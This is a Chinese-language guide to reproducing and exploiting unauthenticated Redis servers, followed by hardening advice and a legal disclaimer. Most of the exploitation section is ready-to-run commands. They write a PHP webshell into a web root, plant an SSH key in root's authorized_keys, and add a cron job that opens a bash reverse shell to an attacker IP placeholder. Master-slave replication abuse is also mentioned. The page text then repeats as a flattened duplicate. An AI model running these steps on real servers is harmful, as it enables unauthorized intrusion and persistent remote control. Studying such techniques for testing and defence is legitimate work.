Redis未授权访问漏洞复现
字数 844 2025-08-15 21:32:33

Redis未授权访问漏洞复现与利用指南

一、环境搭建

使用Docker搭建环境

  1. 参考教程:Docker安装及搭建环境教程
  2. 确保Redis服务未配置认证或绑定限制

Windows环境准备

  1. 下载Windows版Redis:GitHub下载地址
  2. 安装并配置Redis服务

二、漏洞复现步骤

  1. 连接目标Redis服务

    • 使用redis-cli工具连接目标Redis服务器
    • 命令格式:redis-cli -h <目标IP> -p <端口>
  2. 验证未授权访问

    • 尝试执行info命令查看服务器信息
    • 检查是否可以读取/写入键值对

三、漏洞利用方法

1. 信息收集

  • 使用keys *命令查看所有键值对
  • 使用get <key>命令获取特定键的值
  • 使用config get *获取Redis配置信息

2. 写入Webshell

  1. 设置Web目录可写
    config set dir /var/www/html
    config set dbfilename shell.php
    
  2. 写入PHP代码
    set x "<?php phpinfo();?>"
    save
    

3. SSH公钥写入

  1. 生成SSH密钥对
    ssh-keygen -t rsa
    
  2. 将公钥写入Redis
    (echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt
    cat key.txt | redis-cli -h <目标IP> -x set crack
    
  3. 设置Redis目录为SSH目录并保存
    config set dir /root/.ssh/
    config set dbfilename authorized_keys
    save
    

4. 定时任务反弹Shell

  1. 设置Redis目录为定时任务目录
    config set dir /var/spool/cron/
    config set dbfilename root
    
  2. 写入反弹Shell命令
    set x "\n\n* * * * * bash -i >& /dev/tcp/<攻击者IP>/<端口> 0>&1\n\n"
    save
    

5. 主从复制利用

  1. 利用Redis主从复制功能
  2. 通过恶意主节点控制从节点

四、防御措施

  1. 配置认证密码

    • 修改redis.conf文件,设置requirepass参数
    • 重启Redis服务使配置生效
  2. 绑定访问IP

    • 修改redis.conf文件,设置bind参数为127.0.0.1或指定IP
    • 禁用外网访问
  3. 修改默认端口

    • 修改redis.conf文件中的port参数
  4. 启用保护模式

    • 确保protected-mode设置为yes
  5. 限制高危命令

    • 使用rename-command配置重命名或禁用危险命令

五、参考资源

  1. Redis未授权访问漏洞详细利用
  2. Redis安全配置指南

免责声明

  1. 本文仅供技术研究使用,请遵守《中华人民共和国网络安全法》
  2. 在实际环境中测试前请获得合法授权
  3. 因使用本文技术造成的任何问题,作者及发布平台不承担责任
Redis未授权访问漏洞复现与利用指南 一、环境搭建 使用Docker搭建环境 参考教程: Docker安装及搭建环境教程 确保Redis服务未配置认证或绑定限制 Windows环境准备 下载Windows版Redis: GitHub下载地址 安装并配置Redis服务 二、漏洞复现步骤 连接目标Redis服务 使用redis-cli工具连接目标Redis服务器 命令格式: redis-cli -h <目标IP> -p <端口> 验证未授权访问 尝试执行 info 命令查看服务器信息 检查是否可以读取/写入键值对 三、漏洞利用方法 1. 信息收集 使用 keys * 命令查看所有键值对 使用 get <key> 命令获取特定键的值 使用 config get * 获取Redis配置信息 2. 写入Webshell 设置Web目录可写 写入PHP代码 3. SSH公钥写入 生成SSH密钥对 将公钥写入Redis 设置Redis目录为SSH目录并保存 4. 定时任务反弹Shell 设置Redis目录为定时任务目录 写入反弹Shell命令 5. 主从复制利用 利用Redis主从复制功能 通过恶意主节点控制从节点 四、防御措施 配置认证密码 修改redis.conf文件,设置 requirepass 参数 重启Redis服务使配置生效 绑定访问IP 修改redis.conf文件,设置 bind 参数为127.0.0.1或指定IP 禁用外网访问 修改默认端口 修改redis.conf文件中的 port 参数 启用保护模式 确保 protected-mode 设置为yes 限制高危命令 使用 rename-command 配置重命名或禁用危险命令 五、参考资源 Redis未授权访问漏洞详细利用 Redis安全配置指南 免责声明 本文仅供技术研究使用,请遵守《中华人民共和国网络安全法》 在实际环境中测试前请获得合法授权 因使用本文技术造成的任何问题,作者及发布平台不承担责任